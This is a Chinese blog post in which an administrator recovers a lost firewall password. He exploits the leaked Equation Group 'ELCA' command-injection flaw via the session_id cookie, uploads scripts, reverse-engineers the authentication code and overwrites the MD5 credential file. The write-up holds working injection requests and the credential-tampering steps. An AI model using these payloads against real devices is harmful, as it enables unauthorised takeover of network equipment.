***防火牆密碼恢復手記

防火牆密碼恢復手記

公司在用的一款防火牆，密碼意外遺失，無法登陸管理平臺。雖然防火牆可以正常工作，但卻無法修改配置，不能根增加和刪除訪問列表中的IP地址，不能調整訪問策略。防火牆默認僅開通https web管理界面，未開啓telnet、ssh等其他管理通道。

聯繫廠家尋求技術支持，被告知必須返廠更換芯片，費用大約在2000元左右（網上搜了一下，幾乎所有密碼遺失的客戶最終都只能選擇返廠）。公司用於該網絡聯網的僅此一臺防火牆設備，終端數量在500以上，無其他硬件備份方案。因用戶衆多，管理要求細緻，防火牆配置非常複雜，保存的配置文件也不是最新的。若返廠維修的話，則無法找到完備的替代方案。

於是決定先自己想辦法，開啓密碼恢復之旅。Go！

猜測密碼，自動驗證

首先想到的是根據可能的密碼規則和常用組合，構造一個密碼字典，通過編寫簡單的Python腳本進行登錄驗證。萬一不行的話，就窮舉來嘗試暴力破解。

可是開始跑腳本的時候發現想法實在太天真了，存在兩個致命的問題：

1. 防火牆白天負荷過重，Web響應非常慢。有時候一個請求可能在半分鐘以上。
2. Web管理平臺有登錄次數限制，大約6次密碼錯誤以後，就會鎖定賬號一段時間。

在嘗試了幾十個最可能出現的密碼組合後，徹底放棄了這條捷徑。

看來偷懶是不成了，必須得動真格的。

搜尋漏洞，獲取控制權

nmap掃描發現防火牆只開通了https端口。不是專業的安全研究人員，只能在網上搜索該款防火牆的漏洞資料，不(suo)幸的是，還真發現了不少。

找到的第一篇文章提到了Heartbleed漏洞，卻未對漏洞利用方式做過多解釋。需要更多學習資料，根據這個方向繼續搜索，又找到了一些文章。其中，NSA Equation Group那篇文章信息量最高，對漏洞的特徵和產生的原因分析的非常透徹，利用方式也做了簡要說明。由於該設備尚未按廠家要求進行“方程式”漏洞修復升級，按照文章的提示，用Brup進行Eligible Candidate漏洞測試（打算用Postman，但因chrome的https證書問題放棄），漏洞果然還在！

懷着激動的心情，嘗試了 ls -la />/www/htdocs/1、 find / -type f>/www/htdocs/1 等指令，對防火牆文件系統的目錄結構進行初步瞭解，也看到了配置文件存放的位置。執行 cp /XXX/conf/config>/www/htdocs/1，把配置文件down下來一看，果然是新鮮的味道。

啓動telnetd服務並嘗試連接，報錯，估計是沒有加特定啓動參數的緣故，沒做深入研究。看來暫時還是隻能通過https漏洞方式跑命令了。

隨着執行命令次數越來越多，Brup構造請求的方式效率太低，於是寫了簡單的Python函數在IPython下面跑，終覺得靈活性不夠。最後決定採用HTTPie命令行的方式發送https請求（curl沒有httpie方便），後續所有命令都通過這種方式交互。

$ http --verify=no https://x.x.x.x/cgi/maincgi.cgi 'Cookie: session_id=x`ls -la /tmp>/www/htdocs/1`'

文件上傳，執行腳本文件

之前都是一次請求執行一條命令，效率太低，也存在諸多限制。最好的方式是上傳一個sh腳本在防火牆上執行，這就需要以某種方式傳送文件到防火牆上去。

另一方面，根據漏洞名稱和Equation Group搜索到這篇文章：Equation Group泄露文件分析，才注意到這是國際頂尖黑客組織，也是NSA合作的方程式黑客組織（Equation Group），被另一個名爲“The ShadowBrokers”的黑客組織攻下了，珍藏的系列高級工具被打包分享。這可是個好東西！趕緊下載解密，找到ELCA的漏洞利用代碼，運行後卻發現沒有如逾期般的啓動nopen遠程管理軟件，原因未知，頗有些失望。不過在py源碼中看到了文件上傳的方式，其實就是利用了cgi文件上傳處理方式，它每次會在/tmp目錄下生成一個cgi*的臨時文件。ELCA利用代碼的流程是連續執行多次指令，第一次 rm /tmp/cgi*清理tmp目錄，接着post上傳文件同時複製保存一份 cp /t*/cg* /tmp/.a，再加執行權限 chmod +x /tmp/.a，最後執行 /tmp/.a。

當然，代碼並沒有直接上傳一個可執行文件，而是巧妙（恕見識少，我知道*nix下經常這樣幹）的將需要的多個文件用tar打包後，附到sh腳本的最後。在sh腳本中用dd命令將tar包copy出來再解壓運行。下面是工具中stage.sh的部分代碼：

文件tar打包的Python代碼片段：

就我的需求而言，只是上傳腳本執行，就不用做得那麼複雜了。簡單的post我的sh腳本，同時執行 sh /tmp/cgi*。前提是我的sh腳本中都做了清理工作 rm /tmp/cgi*。

http --verify=no -b -f POST https://x.x.x.x/cgi/maincgi.cgi 'Cookie: session_id=x`sh /t*/cg*`' [e-mail]; http --verify=no https://x.x.x.x/1

HTTPie可以用 uploadfilename@localfilename 的方式很方便的實現文件上傳。之所以兩條指令在一行是爲了方便查看前一個腳本的輸出。

#!/bin/sh
# 清除/tmp/cgi*，防止干擾下次運行
rm -f /t*/cgi*

echo =============================== >/www/htdocs/1
date >>/www/htdocs/1

echo "***************" >>/www/htdocs/1
cd /tmp
ps >>/www/htdocs/1
netstat -nltp >>/www/htdocs/1
ls -la /xxx/etc /data/auth/db /tmp >>/www/htdocs/1

上面的示例腳本就可以一次進行多種操作，獲取進程信息、網絡連接情況、目錄文件等多種信息，大幅減少交互次數提高效率。

逆向分析，尋找密碼

做了很多準備工作，找到了比較便捷的腳本執行方式。而且根據ps結果來看，指令是以root權限運行的。接下來要開始幹正事了，tar cf /home/htdocs/1 / 打包文件系統，down下來準備逆向分析。因爲web登錄入口指向maincgi.cgi，就從它開始。

逆向分析的過程相當繁雜、漫長、枯燥乏味，具有相當的挑戰性，所以需要堅定的毅力和不時涌現的靈感。無數次調整思路和方向，無數次尋找新的突破口。

我現在也記不清當初分析時的前因後果，就把一些分析的結果整理下，做一個簡單的分享。

入口 maincgi.cgi

maincgi.cgi 位於 /www/cgi/ 目錄下。用IDA進行逆向分析。

根據登錄form提交的 username 和 passwd 在string窗口搜索，x跟蹤調用情況分析，最終來到 000403D4 函數內。

下面是更容易理解的C僞代碼（我開始分析的時候沒找到可用的hexrays，這是事後撰寫此文時找到的。:-( 工慾善其事必先利其器啊！）：

可以看到，username和passwd參數都原封不動的傳入到login函數，想必沿着這個方向一定能找到密碼保存的地方。

跟進發現login是import函數，不在maincgi.cgi中實現。爲了方便，我把lib和so目錄下所有文件的符號表都進行了分析，結果保存在一個文件中備查。

$ nm -D xxx/lib/* xxx/so/* > symbols.txt

很快發現 login 函數在 /xxx/so/libwebui_tools.so 中實現。

入了RPC的坑

本以爲找到 libwebui_tools.so 中的login實現，一切皆可水落石出。誰料還是 too young, too naive。

根據export表很快定位到login函數的實現，開始是TLS連接127.0.0.1：4000，接着是一堆錯誤處理代碼。

其中有一個 gui_send_reqx 函數的調用參數 CFG_AUTH 引起了我的注意，猜測是一種自定義的類RPC實現。

唉，還是C僞代碼看得清楚啊！再次哭暈在廁所 :-(

既然不是通過本地.so調用，那只有知道到底是誰提供了這個rpc服務，才能找到接下來的路。

好用的netstat

好在我們有執行代碼的權限，好在防火牆裏面有netstat命令。執行 netstat -nltp >>/www/htdocs/1 得到下面的結果：

一目瞭然。原來服務是 xxx_configd 提供的呀！被ELCA漏洞利用腳本誤導了，以爲是隻是一個命令行shell，之前跟過，但沒有細看。這不，還是要回頭找它。

百轉千回

xxx_configd 分析過程並非一帆風順。

根據RPC傳遞的參數CFG_AUTH作爲線索進行追蹤，看到RPC支持多個命令。當命令爲CFG_AUTH時，將數字5寫到參數傳入的內存區域某個變量中。沒有其他更多的信息，看來只能根據caller向上一步步追了。

代碼回到rpc的消息處理thread中，經過逐步分析，定位到消息處理函數中。

跟進去，可以看到大致的處理流程。有一個switch過程，case 5後面就是CFG_AUTH的處理代碼。5就是前面第一個過程中設置的變量。xxx_manager_auth函數用於接管用戶密碼鑑權工作，它是一個import函數，按照前面的方法查到它在 /xxx/so/libmanager.so 中實現。

勝利的曙光

libmanager的export表非常簡練，似乎每一個都讓人頗感興趣。

先看看我們的目標函數xxx_manager_auth：

信息量很大，到這裏基本上就看到了勝利的曙光。

首先看到的是用戶名+密碼的MD5，然後傳入到 j_match_manager_name 函數中進行校驗。這不就是經典的用戶名密碼校驗過程嘛（未加salt）。

需要說明一下的是，上圖中看到的username參數名稱是我綜合各類分析得知內容後改名的，並不是想當然，更不是IDA智能更名。username+32是密碼明文，這也是在前面的分析過程中得出的結論。

跟進match_manager_name函數，並沒有立即發現直觀的密碼文件讀取過程。取而代之的是，內存中存在最多500個struct，其中包含了用戶名和MD5值，鑑權過程就是與其一一進行匹配比對。Local_db_dev_node是一個全局buffer，搞清楚它的數據來源就找到根源了。

按X查看Local_db_dev_node的reference，還真不少。

第一個read_dev_manager_file就很像，跟進去看一下。

Bingo！就是它了！ /xxx/etc/xxx_dev_manager_info 其實這個文件之前也注意到，不過沒曾想它居然保存了鑑權信息，而且是用戶名密碼拼接MD5這麼簡單！

用hexdump查看之前下載的xxx_dev_manager_info進行驗證，大小104字節，與分析得到的struct大小完全一致。再看用戶名和密碼的位置，和分析Local_db_dev_node結構完全一致。

清除最後的障礙

終於找到密碼保存到文件了，三下五除二，自己設定一個密碼，計算MD5值，修改xxx_dev_manager_info對應的區域。文件上傳，覆蓋，重啓，等結果……

import hashlib
print(hashlib.md5('********' + '111111').hexdigest())

幾分鐘後，設備起來了，趕緊試一下密碼，錯誤！！！

鬱悶，怎麼會呢？down下/xxx/etc/xxx_dev_manager_info一看，還是老數據。看來是工作還沒到位。

想起 libmanager 不是有那麼多可疑的函數嗎？挑感興趣的進去看看，比如write_memdata2flash：

對，就它了。一般網絡設備修改配置以後，不都還來一個 wr mem 嗎？估計 /data/auth/db/ 纔是最終保存數據的地方，/xxx/etc可能重啓的時候會重新copy覆蓋。

再重新上傳一次修改好的xxx_dev_manager_info文件，只不過這次同時覆蓋了幾個目錄下的文件。重啓，用設定的密碼登錄，搞定！！！

走過的彎路

當然，我分析過的文件遠不止上面這些，也不是按照本文的思路一步一步走下來，走了不少彎路。憑感覺，或爲了尋找新線索，或漫無目的地毯式搜索。除了上面列舉的部分之外，還分析過其他幾個.so文件，跟蹤過上百個函數，多數與我需要的東西關係並不太大。

逆向分析就是這樣，不可能一帆風順，也沒有既定的方法和思路。就是要有一種執着的精神，在不斷的嘗試、糾錯和總結過程中達到目的地。成功後那一刻豁然開朗的成就感一直是我所癡迷的。

關於MD5破解不得不說的事

既然知道了算法，也有了MD5數據，是不是可以真正的找回當初的密碼呢？

和第一步猜測密碼類似，用python按照一定規則，生成可能的密碼序列。調用 hashlib.md5() 計算hash值與目標進行比對，結果跑了一天沒結果。

想着這種計算密集型的程序，在python和c之間切換太頻繁可能影響效率。又在網上找到一個 Fast MD5 hash implementation in x86 assembly 彙編實現的快速算法，並且根據實際需求做了一定的優化。運行，依然無結果。

不甘心，再到網上搜索資料，發現人家都用GPU跑字典。好吧，我也找來一個 Hashcat，在 i5 8G內存 的iMac 上試跑，的確速度非常快。然而，由於密碼長，計算量過大，最終也沒跑出結果，就此作罷。

現在想想，如果沒有密碼長度、規則等任何信息的話，光憑暴力破解一個非典型密碼，幾乎是 Mission Impossible。

搞定，收工

很久沒寫過長文，也沒發過技術類文章。上一次可能要追溯到2001年8月的時候，曾以打雞血似的飽滿激情寫過一篇軟件逆向習作。

此次防火牆密碼成功恢復，其漏洞功不可沒。對我而言，又重溫了一把當初年少時對技術的執着。

最後，小結一下：

• 軟件逆向分析是個體力活。
• 工慾善其事必先利其器。
• 安全問題無時無刻不在。